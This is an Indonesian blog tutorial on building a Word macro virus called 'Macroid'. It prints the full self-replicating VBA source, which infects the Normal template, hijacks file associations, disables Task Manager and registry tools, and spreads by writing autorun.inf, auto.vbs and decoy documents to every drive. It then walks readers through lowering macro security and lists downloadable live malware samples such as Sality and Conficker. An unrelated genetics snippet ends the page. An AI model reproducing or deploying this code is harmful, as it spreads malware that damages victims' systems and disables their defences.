<span style="color: #ff0000;">Dim AD, NT As Object</span>
1
<span style="color: #ff0000;">Dim isi As String</span>
1
<span style="color: #ff0000;">Set AD = ActiveDocument.VBProject.VBComponents.Item(1)</span>
1
<span style="color: #ff0000;">Set NT = NormalTemplate.VBProject.VBComponents.Item(1)</span>
1
<span style="color: #ff0000;">If AD.Name &lt;&gt; Macroid Then</span>
1
<span style="color: #ff0000;">AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines</span>
1
<span style="color: #ff0000;">AD.Name = Macroid</span>
1
<span style="color: #ff0000;">isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)</span>
1
<span style="color: #ff0000;">AD.CodeModule.AddFromString isi</span>
1
<span style="color: #ff0000;">ActiveDocument.Save</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">If NT.Name &lt;&gt; Macroid Then</span>
1
<span style="color: #ff0000;">NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines</span>
1
<span style="color: #ff0000;">NT.Name = Macroid</span>
1
<span style="color: #ff0000;">isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)</span>
1
<span style="color: #ff0000;">NT.CodeModule.AddFromString isi</span>
1
<span style="color: #ff0000;">NormalTemplate.Save</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">If InStr(ActiveDocument.Content, Macroid) = 0 Then</span>
1
<span style="color: #ff0000;">ActiveDocument.Content = [Macroid] &amp; vbCrLf &amp; ActiveDocument.Content &amp; vbCrLf &amp; vbCrLf &amp; vbCrLf &amp; [Macroid] by Morphic &amp; vbCrLf &amp; copyright(c) Medan Juli-2008</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">On Error Resume Next</span>
1
<span style="color: #ff0000;">Dim b As Object</span>
1
<span style="color: #ff0000;">Set b = CreateObject(Wscript.Shell)</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title, Browser Internet ini diambil alih oleh Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption, Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization, Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner, VM-Morphic</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText, Macroid-A. Eat this!!! Ha ha ha</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden, 2</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\, Tong Sampah Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\, Komputer Morphic</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\exefile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\comfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\txtfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\scrfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\batfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shell\, 0pen</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shellpen\, &amp;Open</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shellpen\command\, wscript.exe &amp; Environ$(windir) &amp; \avmc.vbs</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">On Error Resume Next</span>
1
<span style="color: #ff0000;">Dim rog As Integer</span>
1
<span style="color: #ff0000;">Dim atr, vbs, Tipu(10), Trik(10) As String</span>
1
<span style="color: #ff0000;">For a = 66 To 90</span>
1
<span style="color: #ff0000;">partisi = Chr$(a)</span>
1
<span style="color: #ff0000;">vbs = partisi &amp; :\auto.vbs</span>
1
<span style="color: #ff0000;">atr = partisi &amp; :\autorun.inf</span>
1
<span style="color: #ff0000;">Tipu(1) = partisi &amp; :\Soal SPMB 1995-2008.doc</span>
1
<span style="color: #ff0000;">Tipu(2) = partisi &amp; :\Kisah di balik HarryPotter.doc</span>
1
<span style="color: #ff0000;">Tipu(3) = partisi &amp; :\Titip File sebentar.doc</span>
1
<span style="color: #ff0000;">Tipu(4) = partisi &amp; :\jangan di baca.doc</span>
1
<span style="color: #ff0000;">Tipu(5) = partisi &amp; :\buku harian.doc</span>
1
<span style="color: #ff0000;">Tipu(6) = partisi &amp; :\cerita hangat.doc</span>
1
<span style="color: #ff0000;">Tipu(7) = partisi &amp; :\Punya Baim.doc</span>
1
<span style="color: #ff0000;">Tipu(8) = partisi &amp; :\Teka-teki yang baru.doc</span>
1
<span style="color: #ff0000;">Tipu(9) = partisi &amp; :\Kumpulan cerita lucu.doc</span>
1
<span style="color: #ff0000;">Tipu(10) = partisi &amp; :\Trik Sulap.doc</span>
1
<span style="color: #ff0000;">If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then</span>
1
<span style="color: #ff0000;">Randomize</span>
1
<span style="color: #ff0000;">rog = Int(10 * Rnd) + 1</span>
1
<span style="color: #ff0000;">Open Tipu(rog) For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, “”</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">Trik(1) = partisi &amp; :\Novel J.K.Rowling.doc</span>
1
<span style="color: #ff0000;">Trik(2) = partisi &amp; :\cerita cinta.doc</span>
1
<span style="color: #ff0000;">Trik(3) = partisi &amp; :\Ringkasan cerita HarryPotter.doc</span>
1
<span style="color: #ff0000;">Trik(4) = partisi &amp; :\Semua Cheat game DOTA.doc</span>
1
<span style="color: #ff0000;">Trik(5) = partisi &amp; :\Kumpulan Cheat game.doc</span>
1
<span style="color: #ff0000;">Trik(6) = partisi &amp; :\Cheat game RF.doc</span>
1
<span style="color: #ff0000;">Trik(7) = partisi &amp; :\Cheat game Ayo Dance.doc</span>
1
<span style="color: #ff0000;">Trik(8) = partisi &amp; :\Goosebumps.doc</span>
1
<span style="color: #ff0000;">Trik(9) = partisi &amp; :\FearStreet.doc</span>
1
<span style="color: #ff0000;">Trik(10) = partisi &amp; :\R.L.Stine.doc</span>
1
<span style="color: #ff0000;">If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then</span>
1
<span style="color: #ff0000;">Randomize</span>
1
<span style="color: #ff0000;">rogi = Int(10 * Rnd) + 1</span>
1
<span style="color: #ff0000;">Open Trik(rogi) For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, “”</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">Open atr For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, [Autorun]</span>
1
<span style="color: #ff0000;">Print #1, shell\Open\command=wscript.exe auto.vbs</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">SetAttr atr, vbHidden + vbSystem</span>
1
<span style="color: #ff0000;">Open vbs For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, dim a</span>
1
<span style="color: #ff0000;">Print #1, set a = createobject( &amp; Chr(34) &amp; Wscript.shell &amp; Chr(34) &amp; )</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\10.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\11.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\12.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">SetAttr vbs, vbHidden + vbSystem</span>
1
<span style="color: #ff0000;">Next a</span>
1
<span style="color: #ff0000;">End Sub</span>
Hati –hati dengan source diatas. Karena lumayan bikin pening juga. Tapi maaf ya kalo aku gak bisa jelasinnya sekarang. Karena kalo aku jelasin nanti tutorial ini terlalu panjangggggggggggggggg……. Makanya penjelasan mengenai source di atas aku buat di tutorial kedua.
EFEK-EFEK KECIL DAN TANDA-TANDA TERINFEKSI



Nah coba tebak mana file virus dan mana file yang bukan virus!!!!!!!!
Jawabannya lihat di bawah!!

CARA MEMBUAT VIRUS LANJUTAN
Ini nih, dulu saya udah janji untuk ngelanjutin sample virus macro yang saya buat dulu. Di tutorial kali ini saya akan jelasin sedikit demi sedikit untuk mempelajari virus macro ini…
Pernah dengar virus Macroid? Itu adalah salah satu contoh virus macro yang saya buat.
Langsung aja.
Buka visual Basic editor di Tools>macro>visual basic editor ato tekan pada keyboard Alt+F11
Tampilannya mirip dengan VB6 kita, dan penggunaan sourcenya juga gak jauh beda…
Misalnya :
Dim AD as object
Ya gak. Mirip kan dengan script di VB6? Dan dilanjutkan dengan penggunaan ”set”. Misalnya :
set AD=ActiveDocument.VBProject.VBComponents.Item(1)
ha ha ha… oke deh gak usah main-main. Langsung keserius nya aja…
Script dibawah ini untuk mengubah ”Name” document yang diinfeksi (umumnya ini yang dijadikan sebagai nama virus macro kita)
1
<span style="color: #ff0000;">dim AD as object set AD=ActiveDocument.VBProject.VBComponents.Item(1)</span>
1
<span style="color: #ff0000;">if AD.Name Macroid then AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name = Macroid end if</span>
contoh script diatas adalah untuk mengubah name document menjadi ”Macroid”. (efek ini baru bisa dijalankan setelah virus yang utuh dieksekusi)
Script diatas bisa kamu sisipkan di ”Document_Close()” ato di ”Document_Open()” ato di ”Document_New()”
Kalo disisipkan di “Document_Close()” efeknya akan berjalan saat document ditutup. Dan begitu juga dengan “Document_Open()” dan “Document_new()”
Kalo disisipkan di “Document_Open()” efeknya akan berjalan saat document dibuka.
Kalo disisipkan di “Document_new()” efeknya akan aberjalan saat document baru dibuka.
Ini contoh gambarnya…
image002
Efeknya adalah ini.

Itu tandanya virus “Macroid”!!! ha ha ha… oke.
Sebenarnya saya mau menjelaskan lebih banyak soal trik-trik virus macro, tapi saya yakin sebelum sampai diatas pasti masih banyak masalah untuk kalian…
Sebelumnya kalian harus perhatikan security macro kalian.
Lihat Tools>Macro>security
image006
Yang harus kita pilih adalah opsi ”Low” supaya Ms.Word akan menjalankan semua script di visual Basic Editor. Karena kita masih belajar-belajar biarkan saja kita yang atur security ini, nanti kalo kita udah mau bikin virus macro, ada caranya supaya virus kita yang ngatur security ini… tenang aja…
Setelah kita set securitynya, silakan save document terus hidupkan document kita tadi.
Ada satu lagi masalah… kalo nanti ”misalnya” ada gambar seperti dibawah ini:
image010
Berarti ada hal yang harus kita atur dulu… Buka lagi security macro tadi.
Lalu pada tab Trusted Publishers silakan ceklis “Trust aceess to Visual Basic Project”
Nah klo itu dah dilakukan, maka untuk berikut-berikutnya kalo kita mau ngetes virus macro kita udah bisa boss….
Sekian dulu tutorialnya, tunggu tutorial berikutnya ya….

DOWNLOAD KUMPULAN VIRUS UNTUK DI OPREK-OPREK

Koleksi Virus Agustus 2009
Rh354 sampel.rar
SAMPEL-RECYCLER(VMX).rar
Vir A-25-8-09_ By Neo Bekabe.zip
y-aorsli.autorun.worm.rar
y-new.malware.A.rar
y-new.malware.B.rar
y-Spy.tool.rar
y-trojan.agent2.rar
y-trojan.dropper.rar
y-Trojan.murlo.rar
y-trojan.regrun.rar
y-worm.autoit.rar
y-worm.generic.b.rar
y-worm.generic.rar
Koleksi Virus September 2009
(2) trojan.generic.zip
comwarior.c.zip
conficker.rar
sality.zip
SampelvirusRecycler.zip
SampelvirusRecycler.zip
Sample virus.zip
SimbOS.sebelo.zip
SymbOS-Fontal.A.zip
trojan.generic.zip
Virus by Neo BeKaBe_09-09.zip
Virus Ganas.tar.gz
Virus.Win32.Sality.p.zip
Virus.Win32.Sality.q.zip
Virus.Win32.TeddyBear.zip
y-infected.suspected.zip
y-psw.online.games.zip
y-Sality.Suspected.rar
y-sality.varian.rar
y-sality.varian.yudha.rar
y-suspected.virus.zip
y-trojan-agent.zip
y-trojan.agen.lagi.zip
y-trojan.delf.zip
y-trojan.VB.ITN.zip
y-virus.cacing.zip
y-virus.pwrszr.warnet.b.zip
y-virus.pwrszr.warnet.zip
y-virus.winlib32.warnet.zip
y-zndll.warnet.rar
Koleksi Virus Oktober 2009
y-Ciluka.B.rar
y-Ciluka.worm.rar
y-Conficker.Variant.rar
y-cuakep.varian.rar
y-Cuakep.virus.zip
y-delf.varian.rar
y-FakeAlert.trojan.zip
y-Falder.trojan.zip
y-FFE.rar
y-FraudPack.trojan.zip
y-HantuRimba.rar
y-kemben.b.rar
y-Kemben.rar
y-new.virus.rar
y-ratnguy.virus.rar
y-RatuFelisha.rar
y-sality.nakal.rar
y-sality.varian.lagi.rar
y-sality.varian.lagi2.rar
y-suspected.ise32.rar
y-suspected.keygen.rar
y-suspected.virus.lagi.rar
y-suspected.virus.rar
y-Symbos.Comwar.rar
y-Symbos.rar
y-Trojan.Acad.rar
y-Trojan.Agent.rar
y-VB-KZN.worm.rar
y-Virus.Jim.zip
y-Virus.VB.rar
y-virut.varian.lagi.rar
y-zola.fakeAV.zip
y.suspected.virus.rar
y.VB.Worm.PDL.rar
y.Virut.varian.zip
Koleksi Virus Bulan November 2009
(2) New Folder.rar
(3) New Folder.rar
autorun.inf,DidugaVirusINF
file terinfeksi oleh virus varian alman by adnan.zip
file terinfeksi virus by adnan.zip
linkinfo.rar
logoff.exe,LogOff
more.rar
New Folder.rar
Sampel virus by coe88.zip
Sampel virus zPharaoh.zip
Setup.rar
y-Alman.Varian.rar
y-Brontok.rar
y-Email.Worm.lagi.rar
y-Email.Worm.rar
y-Nimda.htm.rar
y-Runonce.Lagi.rar
y-Runonce.worm.rar
y-Sality.AA.rar
y-Sality.AM.rar
y-Sality.Injected.rar
y-Sality.lagi.rar
y-Sality.Varian.lagi.rar
y-sality.varian.rar
y-Suspected.Autorun.rar
y-Suspected.Generic.rar
y-Suspected.virus.rar
y-Thumbss.vbs.rar
y-Trafaret.Worm.rar
y-Trojan-Gen.rar
y-Trojan.Gen.Varian.B.rar
y-Trojan.Gen.varian.C.rar
y-Trojan.Gen.varian.rar
y-Virut.Injected.rar
y-Worm.Agent.zip
y-Worm.Agent2.zip
y-Worm.Saber.Autorun.rar
y-Yuyun.Varian.rar
y.GameThief.rar
Koleksi Virus Bulan Desember 2009
(2) y-Suspected.Virus.rar
a-fake file.zip
ABG.Gila.rar
al.rar
autorun.rar
Autorunme.Worm.rar
Backdoor.PHP.Small.o [Kaspersky].rar
BAT.Mita.rar
By Neo_BKB_Setup.exe
Cuakep.Baru.rar
Cuakep.Varian.rar
FlashDiskLock.rar
Gen.Troj.rar
gendel32.Trojan.rar
I miss you. Varian.rar
Infected.Autorun.Worm.rar
m.rar
Malware.by.Shafry.rar
Mita.vbs.rar
Morphirii.rar
MP3.Samson.Worm.rar
msvbvm60.rar
New.Virus.rar
New.virus.rar
Nimda.htm.rar
Playboy.A.rar
Playboy.B.rar
Runonce.Infected.rar
Runonce.Varian.rar
Sadic.vbs.rar
Sample Virus 11 Des 09.zip
Script.New.rar
sgemtx.rar
shireen_sungkar.rar
Smadav 7.3.rar
svchost.7z
Trojan.Downloader.html.rar
Trojan.Lagi.rar
vbs.script.rar
virus Bokep.rar
Virus CoPas by Maxx.rar
Virus.BDEWASA.zip
Virus.item.rar
Virus.rar
Worm.Bagle.AG.2.exe.gz
y-Ardamax.Worm.rar
y-Autorun.Worm.rar
y-Gadis.Ancol.rar
y-Gen.troj.rar
y-JS.Agent.Troj.rar
y-Malingsia.Varian.2.rar
y-Malingsia.Varian.3.rar
y-Malingsia.Varian.rar
y-Sality.Varian.rar
y-Sex.17Tahun.rar
y-Suspected.Virus.rar
y-Trojan.Acad.rar
y-Trojan.Backdoor.rar
y-Trojan.Dropper.rar
y-Trojan.FatalError.rar
y-Trojan.Gen.Lagi.rar
y-Trojan.Gen.rar
y-Trojan.Gen.Varian.rar
y-Virus.Acad.rar
Yuyun.Thumb.lagi.rar
Yuyun.Thumb.Varian.rar
Koleksi Virus Januari 2010
Autoit.Varian.rar
autorunme.Recycler.rar
autorunme.Recycler.zip
bukan virus.rar
Cinta.Laura.Worm.rar
Gen.Troj.Yahoo.B.rar
IRC.Worm.rar
iseng.vbs.rar
New Folder.rar
New.Virus.rar
New.Virus.Undeepfreeze.zip
Nimda.htm.rar
Pharaoh(pass=1234).rar
rad05b8f.zip
Recycler.scr.rar
Recycler.Varian.rar
Sality.Varian.hkcmd.zip
Sality.Varian.lagi.rar
Sality.Varian.rar
Script.vbs.rar
Trojan.Dropper.rar
VIDEO maria OZAWA 2.zip
Vira.Worm.zip
virus ternate.daa
Worm.Gen.rar
Original Source By: Morphic – http://[m-o-r-p-h-i-a-n-s]dotz[w-o-r-d-p-r-e-s-s]dotz[c-o-m]


Thank you for your NICE attention..

Pola-pola Hereditas

Pola-pola hereditas mempelajari berbagai macam cara pewarisan sifat, yang meliputi: Pautan (linkage) Pindahsilang (crossing over) Paut...